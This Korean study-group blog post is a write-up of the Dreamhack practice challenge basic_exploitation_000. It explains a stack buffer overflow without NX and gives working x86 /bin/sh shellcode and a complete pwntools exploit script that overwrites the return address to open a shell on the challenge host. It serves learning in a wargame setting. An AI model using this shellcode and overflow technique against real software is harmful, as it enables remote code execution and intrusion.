스터디 그룹/ProjectH4C

ProjectH4C 3개월 1주차 과제(Dreamhack - basic_exploitation_000)



드림핵의 문제들은 어떨까. 한 번 풀어보도록 하자.


📖 1) 문제 파악

이렇게 현재 buf의 위치를 출력해주고, 값을 입력받는다.

 

 

우선 프로그램에 적용되어있는 보호기법들을 확인해보자.

 

NX가 적용되어있지 않은것을 보아 쉘코드를 올릴 수 있지 않을까 라는 생각이 들었다.

문제는 c파일을 제공했지만, 그래도 그냥 IDA로 분석해보겠다.

 

먼저 main 함수이다. 우선 initialize 함수는 그냥 30초지나면 TIMEOUT을 외치는 함수이다.

그래서 우리가 눈여겨 봐야할 부분은 scanf쪽이다.

먼저 v4는 128바이트만 선언이 되었지만 141바이트를 받아준다. 

136바이트만 받더라도 RET까지 덮을 수 있기에 쉘코드를 넣으면 될거라고 생각하였다.

별 다른 함수가 존재하지는 않는다.


📖 2) 문제 분석

만약 쉘코드를 올린다고 하면, 쉘코드의 주소를 어떻게 RET에 덮어야 할까 ?

BOF를 이용하여 RET를 덮는다고 하더라도, v4의 주소는 지역변수이기에 계속 변한다. 그래서 어떻게 알아야 할까 하고 고민을 많이

하였는데, 이미 문제에서 알려주었다. ....... pwntools를 이용하여 그 buf 주소값을 받아주면 될 것 같다.

 

0xffe21ea8 이런식으로 문자열로 받아야 하기에 10바이트를 받되 16진수처리를 해주면 될 것 같다.

쉘코드는\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

25바이트 짜리를 사용하도록 하자. 그럼 우리가 덮어야 할 값은 132 - 25 = 107 바이트이다.

 

우선 pwntools의 p32이 python3와는 잘 맞지 않는 느낌이 들기에 python2도 설치를 하였다.

linuxize.com/post/how-to-install-pip-on-ubuntu-20.04/

 

How to Install Python Pip on Ubuntu 20.04

Pip is a tool for installing Python packages. This guide explains how to install pip for Python 3 and Python 2 on Ubuntu 20.04.

linuxize.com

 

이제 페이로드를 작성해보자!


📖 3) 문제 풀이

위의 쉘코드를 사용할 때는 공격에 성공하지 못했다.

 

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

그래서 이 쉘코드를 사용해보도록 하자. 이건 26바이트이다. 그래서 106바이트만 더 덮어주면 된다.

이렇게 풀 수 있었다.

 

from pwn import *

p = remote("host1.dreamhack.games", 20456)
p.recvuntil("buf = (")

v4_addr = p32(int(p.recv(10), 16))
p.recvuntil(")")
dummy = 'A' * 106
shellcode = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

payload = shellcode + dummy + v4_addr

p.sendline(payload)
p.interactive()

📖 4) 문제 해결, 느낀 점

되게 쉬운 문제인데, 환경을 구축하느라 시간이 오래 걸렸다. 조심하자.